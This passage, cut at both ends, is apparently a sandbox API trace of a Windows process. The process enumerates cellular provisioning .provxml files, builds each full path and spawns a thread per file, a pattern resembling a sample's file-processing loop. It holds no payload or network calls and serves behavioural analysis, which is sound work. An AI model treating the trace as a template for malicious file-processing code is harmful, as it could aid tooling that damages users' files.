lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x55d9b60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8f4 [0085.973] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906e6a13, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906e6a13, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x906e6a13, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x282, dwReserved0=0x0, dwReserved1=0x0, cFileName="183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", cAlternateFileName="183__C~1.PRO")) returned 1 [0085.973] wcscmp (_String1="183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.973] wcscmp (_String1="183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.973] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x14a) returned 0x55d9cb8 [0085.974] wcscpy (in: _Dest=0x55d9cb8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.974] wcscat (in: _Dest=0x55d9cb8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.974] wcscat (in: _Dest=0x55d9cb8, _Source="183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" [0085.974] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x55d9cb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a8 [0085.974] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906e6a13, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906e6a13, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x906e6a13, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2db, dwReserved0=0x0, dwReserved1=0x0, cFileName="184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", cAlternateFileName="184__C~1.PRO")) returned 1 [0085.974] wcscmp (_String1="184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.974] wcscmp (_String1="184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.974] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x164) returned 0x34954b8 [0085.974] wcscpy (in: _Dest=0x34954b8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.974] wcscat (in: _Dest=0x34954b8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.974] wcscat (in: _Dest=0x34954b8, _Source="184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" [0085.974] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34954b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8f8 [0085.975] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9070cc83, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9070cc83, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9070cc83, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x286, dwReserved0=0x0, dwReserved1=0x0, cFileName="185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml", cAlternateFileName="185__C~1.PRO")) returned 1 [0085.975] wcscmp (_String1="185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.975] wcscmp (_String1="185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.975] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x154) returned 0x55db9d8 [0085.975] wcscpy (in: _Dest=0x55db9d8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.975] wcscat (in: _Dest=0x55db9d8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.975] wcscat (in: _Dest=0x55db9d8, _Source="185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml" [0085.975] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x55db9d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa0c [0085.976] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9070cc83, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9070cc83, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9070cc83, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml", cAlternateFileName="186__C~1.PRO")) returned 1 [0085.976] wcscmp (_String1="186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.976] wcscmp (_String1="186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.976] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x152) returned 0x55dbb40 [0085.976] wcscpy (in: _Dest=0x55dbb40, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.976] wcscat (in: _Dest=0x55dbb40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.976] wcscat (in: _Dest=0x55dbb40, _Source="186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml" [0085.976] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x55dbb40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a4 [0085.977] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9070cc83, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9070cc83, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9070cc83, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2db, dwReserved0=0x0, dwReserved1=0x0, cFileName="187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml", cAlternateFileName="187__C~1.PRO")) returned 1 [0085.977] wcscmp (_String1="187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.977] wcscmp (_String1="187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.977] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x14c) returned 0x55d9e10 [0085.977] wcscpy (in: _Dest=0x55d9e10, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.977] wcscat (in: _Dest=0x55d9e10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.977] wcscat (in: _Dest=0x55d9e10, _Source="187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml" [0085.977] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x55d9e10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa28 [0085.978] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9070cc83, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9070cc83, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9070cc83, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml", cAlternateFileName="188__C~1.PRO")) returned 1 [0085.978] wcscmp (_String1="188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.978] wcscmp (_String1="188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.978] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x14c) returned 0x55d8890 [0085.978] wcscpy (in: _Dest=0x55d8890, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.978] wcscat (in: _Dest=0x55d8890, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.978] wcscat (in: _Dest=0x55d8890, _Source="188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml" [0085.978] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x55d8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa04 [0085.979] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9070cc83, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9070cc83, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9070cc83, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="189__C~1.PRO")) returned 1 [0085.979] wcscmp (_String1="189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0085.979] wcscmp (_String1="189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0085.979] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x128) returned 0x3495628 [0085.979] wcscpy (in: _Dest=0x3495628, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.979] wcscat (in: _Dest=0x3495628, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.979] wcscat (in: _Dest=0x3495628, _Source="189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0085.979] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3495628, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a0 [0085.980] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90163088, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90163088, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90163088, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", cAlternateFileName="18__CE~1.PRO")) returned 1 [0085.980] wcscmp (_String1="18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2=".") returned 1 [0085.980] wcscmp (_String1="18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2="..") returned 1 [0085.980] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x144) returned 0x55d98b0 [0085.980] wcscpy (in: _Dest=0x55d98b0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.980] wcscat (in: _Dest=0x55d98b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.980] wcscat (in: _Dest=0x55d98b0, _Source="18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" [0085.980] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x55d98b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa2c [0085.980] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90732eea, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90732eea, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90732eea, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x0, dwReserved1=0x0, cFileName="190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="190__C~1.PRO")) returned 1 [0085.980] wcscmp (_String1="190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.980] wcscmp (_String1="190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.981] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x148) returned 0x55d8080 [0085.981] wcscpy (in: _Dest=0x55d8080, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.981] wcscat (in: _Dest=0x55d8080, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.981] wcscat (in: _Dest=0x55d8080, _Source="190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml" [0085.981] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x55d8080, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9fc [0085.981] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90732eea, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90732eea, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90732eea, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="191__C~1.PRO")) returned 1 [0085.981] wcscmp (_String1="191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.981] wcscmp (_String1="191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.981] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x156) returned 0x55db870 [0085.981] wcscpy (in: _Dest=0x55db870, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.981] wcscat (in: _Dest=0x55db870, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.981] wcscat (in: _Dest=0x55db870, _Source="191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml" [0085.982] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x55db870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d0 [0088.119] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90732eea, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90732eea, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90732eea, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="192__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="192__C~1.PRO")) returned 1 [0088.121] wcscmp (_String1="192__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0088.121] wcscmp (_String1="192__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0088.121] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x128) returned 0x33e5070 [0088.121] wcscpy (in: _Dest=0x33e5070, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.121] wcscat (in: _Dest=0x33e5070, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.121] wcscat (in: _Dest=0x33e5070, 